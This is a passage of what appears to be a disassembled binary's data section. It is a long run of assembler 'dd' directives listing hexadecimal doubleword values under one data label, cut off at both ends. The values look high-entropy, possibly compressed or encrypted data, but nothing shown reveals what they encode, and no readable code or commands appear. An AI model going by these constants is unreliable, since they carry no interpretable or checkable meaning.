0A1FD8C2Ah, 5AC89288h, 5E8096EBh, 0F77E1F46h dd 0CBEC28E5h, 9AA7D90h, 0F525748Fh, 9C457062h, 5E6025E4h dd 7400BEFCh, 4FB61FEDh, 25103377h, 8A2D487h, 8381CD22h dd 4207A991h, 6130B980h, 87DA102Ah, 6A3DE06Ch, 992072Ah dd 40F8BB27h, 8C8960CFh, 0B850DFE5h, 74A5738h, 0EC557044h dd 0EAC9910Fh, 0C665B04Dh, 0CAFCCA00h, 9DD7ED3h, 1C3D8B74h dd 2E20465h, 8DE01B04h, 0F5E227B9h, 0B0598132h, 0DA8EA2Bh dd 0DC32A9E9h, 93C0E8F7h, 0B11FA6D6h, 15CA000Ch, 2E19C16Eh dd 0C6D38612h, 53182C14h, 3019A2C4h, 731EA8D3h, 62D9F166h dd 242C43B8h, 0D0EF6B15h, 0CF4C9D02h, 0DCF8C96Dh, 6C836F00h dd 3E32BA5Eh, 0C43853B9h, 543014E2h, 3497098Ah, 7C2B7172h dd 18919097h, 129D69Eh, 8F0E24F7h, 90C460D7h, 128C3240h dd 181AA0ADh, 291418D0h, 0E0598282h, 91DC4C09h, 18FC71CCh dd 0C4293C88h, 1A494A4h, 0F16FD63Fh, 9B2024F5h, 0A2CABC00h dd 0BFFD8693h, 93C65C84h, 0F1B8201Ah, 1844E8C7h, 0E5756660h dd 6D2B460Eh, 0DFA50515h, 8EFA6BC0h, 0B10D7074h, 85D41100h dd 0F8C240C6h, 44F84CE3h, 0BE045E21h, 0A213FE40h, 7275C7C0h dd 0A1F0904Eh, 0DF18348Ch, 7065BD1Eh, 0F9016A5h, 0F7BDD6ACh dd 984DE760h, 6C995038h, 0E0181EF9h, 0CEB3C901h, 4628D616h dd 249442F4h, 0A9C439F1h, 3FCD0DCh, 0D4610086h, 2ADAB082h dd 70F827B3h, 0C791061h, 8C501E7Dh, 588F6C90h, 688078F8h dd 2A50BF72h, 0B420A094h, 9B78D893h, 4F7B0ED9h, 45010F69h dd 68830D57h, 0E46C89A0h, 915C3ECCh, 1054595Ah, 0C4360D79h dd 5129E3F0h, 6C2F2E13h, 0A0A4A0D3h, 1301A2h, 4296683Ah dd 0AF758C57h, 0BFA8DB1Dh, 0ABC0C480h, 727E1Fh, 0C8E1865Ah dd 0DCAD99DAh, 5A83348h, 23ECB6F2h, 28BE900Dh, 96DD85C8h dd 0FB465EB4h, 8DC9F24h, 90BD1688h, 587C2178h, 0F5E8E444h dd 0B964008Ch, 0D91E60D4h, 24B950F7h, 0E0C4310Eh, 89FCF474h dd 47780A37h, 10F86ABAh, 8CFF0B48h, 41B86EF0h, 5790841Ah dd 1C88EB40h, 8ECF4043h, 9EB97C00h, 3A070116h, 72365BD9h dd 56052FFCh, 465A2038h, 0A2F0539Bh, 3ECC302Dh, 618F7039h dd 0F3970AD1h, 88F6B851h, 2E70B872h, 436C989Dh, 0E48D1487h dd 78F07464h, 7EC81752h, 0B44F1A40h, 0D2EC8004h, 0DE8EB45Eh dd 3FCE890Fh, 406F8887h, 8017C88h, 0B767A0A0h, 142CD324h dd 490A5D01h, 802985F6h, 0C12BA719h, 5F2AEC36h, 6E0D5200h dd 1AA9C85Bh, 73E400ACh, 0DDCA7670h, 62583644h, 3C031E3Ch dd 3A9097FAh, 648EF824h, 30040184h, 9DA90D99h, 6260A250h dd 2CBF1A48h, 530B22Eh, 0F73E0E9Dh, 7F302E1Dh, 67053A8Ch dd 25FF4F9h, 6342B35Eh, 0BC8EBF81h, 3374464h, 0F8F12Fh dd 0B3DE6059h, 0B92CF5FAh, 93785900h, 9FA75A40h, 0DA0F2A89h dd 2F90C880h, 60BDDCC0h, 68C85C70h, 0BDD3A7E0h, 3B081D00h dd 0DFA6A372h, 5473F875h, 916BDC12h, 30E50110h, 0CEB97AF3h dd 50B48861h, 0F67836B4h, 0C3B6BC00h, 81667B92h, 485098C8h dd 2CBC5871h, 74AE488Ch, 0ED8C2A04h, 778C0F0h, 0F44FF37Ch dd 1E232C3Bh, 5A0A9A00h, 46F9CAh, 0D3B88127h, 8F66C709h dd 81048C39h, 84910115h, 689DF177h, 3758632h, 38008018h dd 0D8FB59D1h, 9862FEC2h, 2ACC2010h, 6C2617E0h, 0F0A648DEh dd 0DD7300DEh, 0E2F9F94h, 72765934h, 641ABC24h, 0A5A200BAh dd 93B849C8h, 7CC70721h, 50A82F3Bh, 0F9F1C288h, 1B2DF8A8h dd 0C874E3F6h, 0EA791300h, 0E6649799h, 30B005BCh, 420B451h dd 0A4083BA8h, 126171B0h, 0FA4F1E8h, 44F488Ch, 7F3FDEA1h dd 478C9F5h, 330CB770h, 3E0A8488h, 0A84CF296h, 7685C0DDh dd 8EA39840h, 4CE8D800h, 20E3B73Eh, 5BA617C7h, 222490A8h dd 84FEE243h, 90AEA100h, 6648085h, 778104C6h, 8FC8410Dh dd 3FBC46Ch, 80F68F30h, 303D04B1h, 9B07916h, 0BBC00A8h dd 7443949Ah, 8A01F088h, 5C8901A4h, 3C20EEA9h, 7CCB1A67h dd 0EC7340D4h, 0F164D0h, 0B26BCD46h, 0B4694CD3h, 32019A01h dd 0E48ACB63h, 0F4163043h, 8298C8h, 0CCDEB5B2h, 0EF6C071Bh dd 0C03BDD4Eh, 6A021423h, 4051DEA7h, 8016B0DCh, 0B8BC0725h dd 5C300DCh, 49A2DACCh, 0CD169A28h, 8040778h, 34F87F6h dd 290CAD8Eh, 7E445018h, 91541232h, 69380104h, 0CD314D67h dd 0FE90E797h, 0B50188D7h, 5C30D8FCh, 0C440F2E9h, 220CC844h dd 0C204E47Eh, 6AB6EFF7h, 9D173CD0h, 0C5861D4Ch, 4430AD9Ch dd 0C95D8C8Ah, 2893039Ch, 0D18860Dh, 84FD849h, 2EF138h dd 0A9D74CDh, 0E3A3A44Bh, 0C7833EB8h, 0F6438493h, 0A6821000h dd 0CF7383E7h, 6B381A92h, 0CC805103h, 9D86407Bh, 5823FC2Eh dd 0D87E5A80h, 5D548AEEh, 31062005h, 50EAD37Ch, 3FBF803Dh dd 9B0A9322h, 84F6F821h, 57C7072h, 3C6B46C7h, 42080118h dd 81018C89h, 81469351h, 0C04319A0h, 0A7292748h, 336A2420h dd 0AE011C60h, 9B39CEB2h, 44747B8Ch, 9A0A187Dh, 5C7279E9h dd 0FC22F0B0h, 0B60E4423h, 8078923Ch, 0CD52F0BFh, 19FCED7h dd 30E237F6h, 8AFE8F6Ch, 982DD850h, 58C1B717h, 0B848A7DCh dd 679C0994h, 0E49D2FBFh, 71801591h, 0A4930F1Dh, 88E3A724h dd 0EB7C0640h, 6A10C6EFh, 77007102h, 681670F9h, 12339B89h dd 5FDBD84h, 0F07EC104h, 9C15004h, 0FC5651E7h, 4C7C1AC8h dd 0B010C078h, 0F97E094Ch, 0E4E8C563h, 2D72601Fh, 0EE280074h dd 0F8D71433h, 0EF0F7FE5h dword_50DC48 dd 0F39ADAD3h, 2C23282Fh, 9C02C517h, 6718577Ch, 6020E44Ch dd 70C8D98Ah, 687E0EC5h, 0CDE39D5Dh, 12B887BCh, 68C03052h dd 1AB53A7Bh, 14B04C42h, 0F186533Dh, 3892F6EBh, 8A724906h dd 1EF98BF4h, 8F03520Ch, 0A0D4E897h, 0C888CB4Ah, 0A94DC0FBh dd 3E0FEC53h, 819137EBh, 1F98C4FEh, 1282D424h, 5A1F192h dd 0A3ED5584h, 3023B278h, 0AF1DB94Fh, 0B682A0CAh, 429D87EFh dd 0C5C49A2h, 0DDA55410h, 45005770h, 9688FC82h, 1B427268h dd 9EA2086h, 94A643C2h, 0BF481041h, 8C1BE874h, 0E0D21C00h dd 5C8AC07Dh, 0E0F661B1h, 0E08105CFh, 449610B5h, 2445F828h dd 23F42F2Ah, 7D3D00F7h, 56DBFFDDh, 80BC49DDh, 955453A2h dd 904BFB74h, 5C0817E4h, 4A0C501h, 5DD5FC0h, 0BC3AA07Ch dd 0B4002423h, 80D0A60h, 35940012h, 5CA67E6Dh, 0A41A9B23h dd 0D860E0F3h, 8712004h, 9588B90Bh, 10C08263h, 986B103Eh dd 32EBC49Ah, 4BA10300h, 98DB884Eh, 34A28392h, 30CE2B9Bh dd 6D16FE20h, 18C214EDh, 5854582Dh, 30239078h, 61BDDB01h dd 0A828D070h, 0BDD2A8B0h, 1D42D700h, 306E6636h, 7C480AEDh dd 0A40C03h, 60E18AE5h, 40B6A084h, 0F20D00DEh, 0B1F4CC7Eh dd 1624F149h, 0E5413074h, 4AE90285h, 0B6B59C43h, 0D1A0B118h dd 0C118FDh, 9320E880h, 71848940h, 100022E1h, 303EE413h dd 0CE029917h, 0C021C840h, 72B89010h, 0A2E8D900h, 0C511E0ABh dd 6A2F1293h, 9C44D04Fh, 0FC009625h, 0CD7AED5Bh, 119783Fh dd 0BE4B24F8h, 0E4150DA5h, 900D8C8h, 2EDBC149h, 9B944193h dd 43267840h, 2F35321Ch, 0AEE46500h, 97D10185h, 5880A8B7h dd 3C95BB4Eh, 5AC90442h, 90ED7C89h, 400F70A8h, 801448h dd 0BE969FC3h, 1F3BD382h, 24253D3Eh, 4467444h, 0B7722E03h dd 74A80AF0h, 0E04DB89h, 0F30D7C8Bh, 9E2228C7h, 94D4E059h dd 86F6800Bh, 0C38068B9h, 9D8882F8h, 0F2AA127Fh, 8BC49B1Dh dd 0E4A802EBh, 0F3A80149h, 162085E8h, 98C37A9Eh, 3A604B77h dd 3437EA8h, 0C32F4800h, 42EA1B5h, 0A8127099h, 0ADE10A4h dd 0AC50E3Eh, 0B2730088h, 2AA705FEh, 0E56C21C1h, 3300B46h dd 0C79000D0h, 0C3402C35h, 6300BAB4h, 55E6783Ah, 9DCF1E4h dd 9109D85h, 84DB5479h, 0F1BF1660h, 344F7802h, 74FD5C89h dd 0ED9104E0h, 0F1B48C88h, 0BA59F660h, 0E464CE47h, 12D048D2h dd 0C7E70500h, 923F0225h, 418B6309h, 70D0DB1Ch, 0EA02997Fh dd 5B71127Dh, 5750C05Ah, 40AE4F24h, 1DC0A6D4h, 0E6001817h dd 0DA662D59h, 0BEB76336h, 0D08E471Ch, 7B64CA33h, 58512500h dd 0D484B0Ah, 0B5D4176Ah, 7A6420A8h, 6E007E04h, 463424D9h dd 430B6Fh, 0EEB85467h, 4EAC5B8Dh, 7D63C30Bh, 0C4B465EAh dd 0B4466019h, 0D94E03AAh, 0F0EFDA7Fh, 0FAEBF100h, 94E9A793h dd 0B8B3E0D5h, 84DF03C8h, 9C0736B2h, 0ED2F65E0h, 0F7BC3Ah dd 9F271177h, 0B0D87FC9h, 0F679038Ch, 17281B98h, 0CE3B4AB0h dd 223CA412h, 87740802h, 0D3304A77h, 0C92E7054h, 0EBC77101h dd 0D502D84h, 39781F10h, 3828EC00h, 7EF151C5h, 50840516h dd 17752C1h, 0D458E7CCh, 0E4D8301Eh, 0DAD03050h, 77791F0Bh dd 914497EAh, 317D8318h, 90F4F8F2h, 702504B9h, 84365887h dd 721C98E4h, 1C38BF19h, 546C2018h, 58C2EBCh, 0CB3E111h dd 92C4E481h, 443A416h, 7F149C1Fh, 4E98000Ch, 0DA153EFCh dd 89841244h, 3898100Dh, 0F8EEF015h, 0EBA0200h, 8C412368h dd 9DBBA891h, 384DE4h, 3E12F234h, 17A495B2h, 286C0EFh dd 2F659C40h, 0E0251611h, 4A75023h, 53E53004h, 0B6E10EFAh dd 0AD027715h, 3050107Ch, 3A881F44h, 78FC6898h, 12AB38F0h dd 144FD901h, 43F85BCFh, 0A753DCh, 8509B37h, 3652E4FBh dd 0EB482F16h, 0F87B9400h, 1F0C002h, 294333F7h, 0D12303E9h dd 0C0E645EAh, 2F3A1DCh, 28BFD433h, 1821402Bh, 49E663DBh dd 80A01BCFh, 0DC021CA8h, 7218A664h, 4480C744h, 902B60F4h dd 9CEF54F1h, 31AA0196h, 0E6A30CCBh, 0D820203Ch, 652520BEh dd 60F5E428h, 1C7E8C8Eh, 6CB7E91Dh, 47D40838h, 0D8C58A3Dh dd 0EA02B825h, 7429840Ch, 24467CD4h, 0FE9E000h, 95F015D7h dd 3065B53Ah, 0EC1DD9F1h, 44A1008Eh, 1AA9AE56h, 0DB057F1Ch dd 0C57DD980h, 11E7A488h, 64D5830Ch, 0C460D688h, 91243C40h dd 5C7098D3h, 0E9400BBCh, 0F88FF895h, 0C8B766A4h, 0A51B883Ch dd 0E0F008F4h, 0A7329497h, 60F1C4ACh, 0A09678B1h, 8020ACD0h dd 7362CD86h, 0F285F6C9h, 95880C10h, 0A2782D20h, 6390AF00h dd 19014516h, 0E80249E7h, 2BFB3300h, 9331D3EDh, 87DD5F04h dd 28B80B4Ch, 1E8C15BCh, 2211905h, 0CD9A5BA6h, 82A8B093h dd 310FC4B2h, 5349747Dh, 30D51092h, 391740C5h, 0A0CBDB91h dd 40BD5D02h, 1CE1570Ah, 5880158Bh, 0B9F3233Ch, 482DB88h dd 0EB9618h, 17B61B8h, 0F87D7C21h, 6D3400BAh, 1CFC2848h dd 8C14E8h, 1899BC44h, 31F4BEEAh, 787C2497h, 80CCCC52h dd 7C59D300h, 426A10C8h, 4F4B003h, 0B791C441h, 830EC23h dd 82CD748Bh, 59066C95h, 96D58C60h, 70006348h, 0C0909889h dd 0E8B6D6BCh, 1E4796A0h, 88DC5B05h, 4CB8697Ch, 4F2A9901h dd 0E426E8CCh, 0E4A571FEh, 0C06020E4h, 0A50B5256h, 686D1762h dd 4A742A10h, 1CC416B9h, 37956200h, 90B300F0h, 0D5394E8Ah dd 0FA576302h, 0F841747Ch, 5EF89C64h, 8D3A2246h, 0FE6A5482h dd 0A0769CECh, 0CB575F40h, 88D90092h, 0F32688Ah, 28259EE8h dd 4B54C02Bh, 9B5B84h, 444E955Ch, 5575E5B7h, 80966D00h dd 1FB0980Bh, 24209B6Ch, 0F54674F0h, 32F82C00h, 206BB8A4h dd 0EC7814B8h, 245C2084h, 0DAF4A606h, 7A46F279h, 48174F39h dd 71692A64h, 18F759CCh, 3B200498h, 0A4A8598Dh, 0EE0006ECh dd 839AE34Ah, 0C18E21h, 5E49A1B9h, 22DB4C8Ch, 90D4A32Fh dd 0BFF20Ch, 9CB7B36Ah, 4405768Fh, 0A464921Ch, 3BD38B40h dd 0C0EE6BC7h, 0CC1FA679h, 771FBE95h, 0EC004BB9h, 7AA2CACh dd 56D7EE0h, 848ADC67h, 613CB0CDh, 547CC803h, 0C71591A0h dd 50D08299h, 0AB80A1Ah, 81107D62h, 4CE51CC3h, 2768343Ch dd 928DF48h, 9D181799h, 872E9168h, 8B02EE8Eh, 48BD8D5Ch dd 95777860h, 957080Fh, 68A9DD78h, 0D770E05Bh, 41877072h dd 88284E35h, 0AA07C0F2h, 89019C0Dh, 0F6A27E95h, 20A7DE58h dd 83C7386Dh, 0F61B1840h, 0D0965A09h, 588EF0BCh, 0C2A81160h dd 2027B49Dh, 20C01DF3h, 78DEB50h, 7C891566h, 9313BCADh dd 68440928h, 0DB3810B0h, 4B8AC010h, 702FC2E1h, 50C0CAAEh dd 4E02D8C4h, 85E40690h, 78011CADh, 848EC80Bh, 7EF840A1h dd 116D0068h, 2CD47729h, 0C2EC8CFh, 0A130DCD0h, 73BA86C9h dd 0FB5C0013h, 80B4F24Eh, 0A6FAE1E9h, 84127F4Fh, 0A06FC8E0h dd 5AF5C7A4h, 92145371h, 5F30B768h, 87DC132Ah, 90CB5Ch dd 7C2A683Fh, 0BFF645h, 0CAB9D851h, 50C4DEB5h, 8440084Bh dd 5FF5567h, 0EC96350Ah, 0CA6402B1h, 785C657Ch, 0A9456700h dd 92578413h, 2F930040h, 681566C3h, 0D34EC263h, 0C099D423h dd 1E2B90h, 0B720D883h, 795AF79Eh, 0F90938B8h, 0F993B291h dd 18F879C8h, 72D0026Eh, 0F170CE59h, 9F1D6844h, 461DC874h dd 672F5A82h, 0A9B28042h, 3F3A0D77h, 0A0F2AB86h, 7B94E8A4h dd 20CB9C8h, 4FA44B30h, 0D81C94D0h, 19D8AD99h, 5ABF1820h dd 8C3CC0E0h, 0AC4F6395h dd 110B03Bh, 0ED0CC004h, 876ED7h, 0E99A72AAh, 48389F1Ah dd 34888094h, 16E81012h, 0ACE3E791h, 88332FB2h, 292AEFEAh dd 2594980Ah, 429A5490h, 8E1BE001h, 0A863091Ah, 13805E0h dd 0E84C0E5Eh, 2E2DCCB6h, 4BE6C4Eh, 0D0A86D7Ch, 0CB76304h dd 0EB902082h, 0D4379F27h, 0AAC0131Eh, 67225ACh, 0BB5402CCh dd 57F7491h, 0E3EAC4D8h, 5017DF2Ch, 60B2008h, 80093850h dd 3D16B60h, 1754993Ch, 12204CB2h, 0C2A4DA0Ch, 40406077h dd 0AD6A61h, 3792A2FBh, 7C8AB775h, 0B017412Eh, 3712142h dd 8C209D3h, 0D1B7F4A0h, 0FD05C320h, 50490A31h, 0D08CB4h dd 0B7DC46DFh, 0B113AEA3h, 39F37600h, 5BCD63BAh, 8C6C4EDDh dd 0B8208790h, 7231913h, 6AE7611Ch, 261F286Eh, 3D468142h dd 2DF0D98Fh, 0E54014F0h, 0A60D04C3h, 74B9CE5Fh, 0C8788B92h dd 1BAC025h, 0F502DF26h, 157044C6h, 40E0543Fh, 1060CFBh dd 40AF8601h, 3B2C8766h, 88088E04h, 271CC3F4h, 255D9EC0h dd 0E8840758h, 0D60CE304h, 0FEEEA5E6h, 665E2000h, 8C8B56F6h dd 92F8A8E1h, 25F8B03Fh, 509DFBB5h, 1812C91h, 2E545A98h dd 2765B862h, 843041B3h, 0F41F6A33h, 0A9C70F00h, 0A86902Bh dd 256C8F18h, 89A30194h, 2EBAB4F6h, 84DDB848h, 0AC9F7490h dd 51047CB0h, 55A19ED0h, 672FD4F3h, 0C0888860h, 0B4A31B78h dd 0A7421007h, 0B7C0CD1Ch, 4E5BBCFh, 0BF10FA91h, 3E28F860h dd 537205E6h, 1CFCE186h, 297C0A82h, 0B881DA89h, 82F3B76Ch dd 215C2A50h, 275CE814h, 587F7D05h, 2F7A2851h, 68686C63h dd 0F0E686FEh, 204BD709h, 8B00A430h, 0DC015CA8h, 80F6E7D5h dd 221879F2h, 0DF65011Fh, 20F8E6EDh, 4859F155h, 0E8998484h dd 498C8802h, 13A4F2E9h, 4F97E7Bh, 413183B0h, 0CECFA490h dd 64803088h, 75680640h, 81702E84h, 9CAD095Ch, 0C7003858h dd 0A06EB988h, 0C79993Bh, 0F11FDBB6h, 74041751h, 0FED2C8B7h dd 0F3C86C8Eh, 571F64C2h, 87B95805h, 8C31B0E5h, 21F9F056h dd 0A2702340h, 0EC9B3014h, 4F202814h, 327680E0h, 2955266h dd 8F70632Ch, 85A21A0h, 2412D027h, 0DA602DA0h, 702D62BDh dd 803465D8h, 2CBDD1A9h, 0CFE8096Bh, 10CC1E5Ch, 0C1161505h dd 9B4457FDh, 74498024h, 9972D3DDh, 886080B0h, 90D28CE8h dd 599C8D00h, 362AEACh, 69D5019Eh, 489B53B9h, 0A493CC80h dd 5CC0B34Ah, 9772BF28h, 0C580CC35h, 48633F52h, 8C694A17h dd 0F62FE2ECh, 65D0988Bh, 1155633Ah, 58F1C2FFh, 3194C450h dd 0E4E9BD28h, 1849AF5Bh, 0DC7C560Ch, 906BCF00h, 692E9921h dd 6F15269Bh, 0C0609F74h, 0F2A5CD06h, 1025AD85h, 0DBB05132h dd 0F81B0482h, 253DCF4h, 843315C5h, 0B8501105h, 0E0CF742Fh dd 0FAE83ACh, 0BD88B723h, 0C00DFF8Eh, 0F1A6E308h, 24DB19C5h dd 2CACCCE9h, 0E599CCE1h, 66CF0919h, 2068BD88h, 0AFA49B04h dd 844CB8E8h, 94B30485h, 3CC0E8B7h, 27130757h, 0B4485064h dd 5A00BAF8h, 25FF274h, 4D397D0h, 548C1C71h, 304CB2C0h dd 945F310Bh, 99C500BCh, 0ECBE93F4h, 0E00A958Bh, 0F81DF2CEh dd 0C3581ADEh, 9452E064h, 209F7008h, 0F99A091Eh, 0FC7B7C51h dd 466CCB60h, 6930702Ch, 9AA5F802h, 0ADD0D91Fh, 0EB068C02h dd 2CD95051h, 0F04B3B18h, 595D3844h, 0D410C0FEh, 0D060A585h dd 0DDD8C269h, 2A030C4h, 0B3496810h, 0C9AE760Ah, 0E890487Dh dd 65A5E921h, 602F6470h, 2F7BD8A7h, 44307DDFh, 69897781h dd 1BA8086Ah, 4674B048h, 0D75F1C04h, 0E309E080h, 95523CFh dd 0E18AE69Ah, 0FE782071h, 2F718603h, 0A8D8BE29h, 83150A81h dd 122F4874h, 7EE03A60h, 7728028Ch, 0C7E683F9h, 0BCAE8C3h dd 0D4A9F104h, 1F7FB400h, 0AC15BC9Dh, 0E340FB00h, 0CAA57E1Eh dd 2008B857h, 0E21ADE17h, 9109D87h, 697C72ACh, 0F4564958h dd 7E4405DCh, 4028A888h, 19159CE4h, 657822F1h, 32960700h dd 0B2C175AAh, 908B62CDh, 4D0BF7EBh, 0EE66C07Ch, 0B804C4C3h dd 0F6F55C88h, 836C4B02h, 0E503E0D0h, 7BA25F55h, 0F76F16Fh dd 76A418Bh, 53820020h, 0C00289B3h, 2F877F6Eh, 0A7A890F0h dd 1D7A00ADh, 0A3D17340h, 0C8956B8Bh, 71D524E4h, 0C6784Bh dd 3A6F6328h, 0CABAB5ACh, 0F23D91Eh, 0C4B67792h, 0B14DECE0h dd 0B008D605h, 6CE37212h, 53301FA2h, 48CB00FBh, 654F5F22h dd 89600CBDh, 0A430FFF9h, 2C429797h, 9A40C87Ch, 5B04061Bh dd 0D9A48831h, 0F33D190Eh, 97AA60A2h, 0E2ABB9h, 0B6DF11F4h dd 2EDD03D2h, 0A6A3C702h, 4B727D01h, 0EE1FB810h, 891512E0h dd 1C28E2FFh, 0F35ED468h, 0EC7EFA00h, 972CD3DBh, 0E0859401h dd 3239E5C1h, 84602E10h, 9385808h, 8CE69A0Ah, 0BC04B270h dd 0F0B5747Ch, 20EC68F8h, 0EA553A8Ch, 10EE9F01h, 22EC3374h dd 0BDBC0920h, 91DD028Ah, 0D1385915h, 7EC11924h, 0F61AD1F4h dd 8D7A25DFh, 5000AC64h, 13E2B8C6h, 58FE3075h, 0A6036197h dd 0F1B33B33h, 489329DEh, 2E4A0578h, 8B483ABh, 880FE543h dd 4B68F584h, 2D232C2Bh, 5096CF05h, 0D30004F9h, 0EC816B2Eh dd 0D01D4EC2h, 5CC4E5BBh, 10B4FF45h, 0C5563C98h, 88A8D203h dd 8100AC54h, 0EB66078h, 4CB4F679h, 2B160CB9h, 31B4E406h dd 0F0911C40h, 5C20B6E9h, 0FE071E46h, 0F0316E45h, 73935A5Bh dd 9E0A6F14h, 0B87898A4h, 0A14A01C7h, 87727F3Fh, 4BC2828h dd 2448A588h, 2C67002h, 0A9D8DC9Bh, 31039242h, 32016DD6h dd 4F9B88DDh, 687E0953h, 0D450DCB8h, 0B00C6B24h, 4EDBC986h dd 26E3E0Ch, 1BB499Dh, 9C06D6F7h, 0EDA47D94h, 13773FCh dd 0DFDC287h, 7D6AD66Ch, 0AE26037Ch, 0F07F7460h, 0ECA10711h dd 0C24100CFh, 0A0B938EDh, 320710DBh, 3F0B1C80h, 8B155070h dd 335277Ch, 0F4C8B4ABh, 68119788h, 0DA1C0F50h, 395280CAh dd 0B77FBE09h, 8818F8F8h, 8B5087CDh, 19113074h, 0AF7C0748h dd 0E9125CB6h, 93AC88A9h, 84F8393Fh, 3D9CBF70h, 1313A0BCh dd 700A14A4h, 0D1A2BC00h, 9DC20EFAh, 0A4A920B9h, 2018FCF9h dd 7FE5C901h, 7E9D5BF3h, 3B4C722Eh, 5F16EC72h, 1442D26Bh dd 0D9619321h, 0ACE280C8h, 22ADEC16h, 0A80EC900h, 21F4A402h dd 0E7B10052h, 2ED95F93h, 1212F348h, 50F25BFFh, 1D584BC8h dd 1BCE26D4h, 292300DCh, 28A742E8h, 0EFC81707h, 841EE719h dd 50BCBF1Ah, 29B723C6h, 20E80F34h, 2BBF1806h, 3333A49h dd 6146A2Ch, 0E8694E8Dh, 5C89270Bh, 78BC2081h, 0AB84B772h dd 34A581C8h, 0C840017Fh, 60895C28h, 1BB501BAh, 9D0A8054h dd 6800F79Ch, 0A0749141h, 0A587C517h, 4A6AACE4h, 0FFB490BFh dd 0A0446B16h, 317C1D88h, 446CA5F3h, 19820C15h, 359776B8h dd 87F591E8h, 0FDC7BCE5h, 5C27FE12h, 15A8636Ch, 80AE693Dh dd 4C4129F3h, 19BE1DBh, 0DEBCCB63h, 6C288F10h, 1EC21320h dd 182579E8h, 34CD2C60h, 97940B95h, 421B80Ch, 0F6EC6B80h dd 984EB7Ch, 1B89548Bh, 3569CC59h, 0B009809Ch, 0D26ECC29h dd 18F495E4h, 5454EA90h, 971310ECh, 50D73A2Ch, 0E22409F4h dd 402B124h, 7A03F20Ch, 0FE09270Fh, 7C199851h, 2610946Fh dd 5E941118h, 0F4E3E420h, 0AF28002Eh, 0EECCA96Dh, 5302C7E7h dd 2DFC8925h, 0ED74C0C6h, 34E89708h, 109AFE17h, 6DF3403h dd 0CE9E87D8h, 0D0C09589h, 35F37C93h, 7B5CC124h, 299BF440h dd 16688808h, 88870D07h, 172084E4h, 0F88E76F0h, 0B1A8D2A5h dd 4C3E2EECh, 41001B23h dd 0A44AA8C8h, 7984258Bh, 0E46178E2h, 0E4226F2Bh, 6C710Ch dd 36A3620h, 991255B3h, 0F0F32D65h, 0A0BEF009h, 0E066D02Bh dd 0AE98F8C5h, 0AF805CE8h, 6B2F6CAh, 733DC0Eh, 0E94400AAh dd 94F01FC5h, 5E8D800Ch, 0EC4271D5h, 0CB49D900h, 246D2CC9h dd 0B58F0080h, 6396899Ch, 1E00D3C6h, 3AC39F7Eh, 0CB968h dd 51727DD0h, 95C86035h, 0D4A58617h, 372B88B1h, 0ECC421ACh dd 0CC223A2Ch, 0F8111F38h, 5951F80h, 0BC0B0F8Dh, 0A9838491h dd 44AC5934h, 0F4F23541h, 2030F4B2h, 299748Bh, 16E7EA5h dd 2357A796h, 0B8E6A258h, 9AC037h, 17CBCC5h, 71174088h dd 0B8C00754h, 86184900h, 7D6839C1h, 58BA9DE6h, 0F379F0F1h dd 8709E818h, 21304CCDh, 2420B7E0h, 2409808h, 809F2770h dd 95250072h, 32D042FCh, 50147B40h, 563A3DE6h, 9F09129Ch dd 0E5B8E490h, 2EC6FC85h, 12108FB4h, 5BE8AC83h, 23F4C88h dd 22430474h, 3CC0381Dh, 6781FAF9h, 978A59C4h, 0D643C814h dd 6C6A5Ah, 5962CEF5h, 88105028h, 6EEE5A23h, 14F96600h dd 1FDB54ACh, 793498B0h, 0A47C8219h, 888D7643h, 36A079F2h dd 49C216DFh, 0D8C0D834h, 4C6EEBh, 0C9EB23Dh, 89BAA84h dd 0E2CF6CDFh, 48817935h, 7710127Fh, 860B7972h, 201C5495h dd 0AEB6AC8h, 9B7D4B66h, 5321C064h, 4AE8F64h, 9E01B0Eh dd 6C3CB596h, 33EA8004h, 38DA0C1Ah, 7C00DF8Ch, 0E05164B4h dd 2A1C5B8Fh, 720941CAh, 1740D143h, 0EF13F0F2h, 70B33C03h dd 1FA5D79h, 0C4BEA31Ch, 2E8F6354h, 60A2F824h, 1C3020F2h dd 6372049Ah, 0C2E5CF55h, 0CC56F050h, 0A82900BFh, 1F4C802Dh dd 98900A9h, 9D591A8Fh, 3A015618h, 7230F10Bh, 12F387Ah dd 0EB912014h, 88A84E27h, 607FC0F8h, 9E2599ABh, 9018D292h dd 0F5A0Eh, 2A8159B4h, 60D60B19h, 10DC508Bh, 11C0C004h dd 96A93FAh, 957C894Dh, 0E795A050h, 671A64CCh, 1091CD67h dd 0ADC06F8Ah, 0D1284BBCh, 465FA64h, 0F688548Eh, 0D6302DC0h dd 3FB41D11h, 0F0E613C2h, 0B84FBF99h, 2C7E14F0h, 74ACECD8h dd 37011646h, 5CAD87C1h, 5FB0800Ch, 6EC320D4h, 1C880F91h dd 0A5C9010Bh, 0AF9030A8h, 0F46064CDh, 461FEA2h, 78D830C7h dd 10E4D475h, 9C16F0E0h, 106C2114h, 95030722h, 418B6F4h dd 69842AC7h, 792CC00Ch, 9B268F74h, 3429C0B0h, 0FA18F7D1h dd 87162B09h, 66B880CEh, 0BC920A53h, 0D059A590h, 5CD18646h dd 16C4780Ch, 8780B868h, 0D2C471FCh, 9C0C098h, 0B3913840h dd 588088E5h, 7DDF40B8h, 0A5F1008Ah, 56369D92h, 2F5D8493h dd 5A3A76BCh, 42E603D2h, 889F668h, 726F0371h, 723465Eh dd 531D6420h, 188E9A51h, 4F188076h, 61276109h, 43E3DE00h dd 94F26FB7h, 688D008Ch, 0AEECB24Dh, 0F1123A3Ch, 0F8B80E73h dd 0F6A210B3h, 16B48F01h, 62CF0A00h, 3B135898h, 68F3157Dh dd 0C73021A2h, 6C1B007Ah, 0D4772860h, 21C029A6h, 5E081D70h dd 1B6F00D1h, 0FBE647C6h, 0A20B22F7h, 986D298Dh, 1907AECh dd 2206F6Eh, 0D04195E4h, 32E865D5h, 0D8C26A05h, 0C1A835h dd 0C1A72578h, 7202DCD1h, 5E2104BFh, 30517284h, 6181559h dd 9112D472h, 30E01F74h, 0B40B4A6Ah, 885872C4h, 8130FFFh dd 0FA3E6085h, 539122F8h, 1AE23C0Ch, 267130h, 97C7BD69h dd 31F0A586h, 3A97C490h, 0D480F680h, 160A7200h, 0C0921F19h dd 6011629Fh, 0D1002114h, 0B5CD9A7Ch, 30FC0C4Ah, 2769FEDCh dd 0C8C40A8Ch, 4CB890F3h, 4010A812h, 697CF70Ch, 9BE613C3h dd 10AC7A5Ch, 6A11E61Bh, 9F0A14D6h, 45680024h, 0C7D3269Ch dd 0F6180C4Eh, 5629048Eh, 5194A100h, 0E3D7FDECh, 58990F2Eh dd 1B808CA8h, 0E09585DCh, 3E30265Dh, 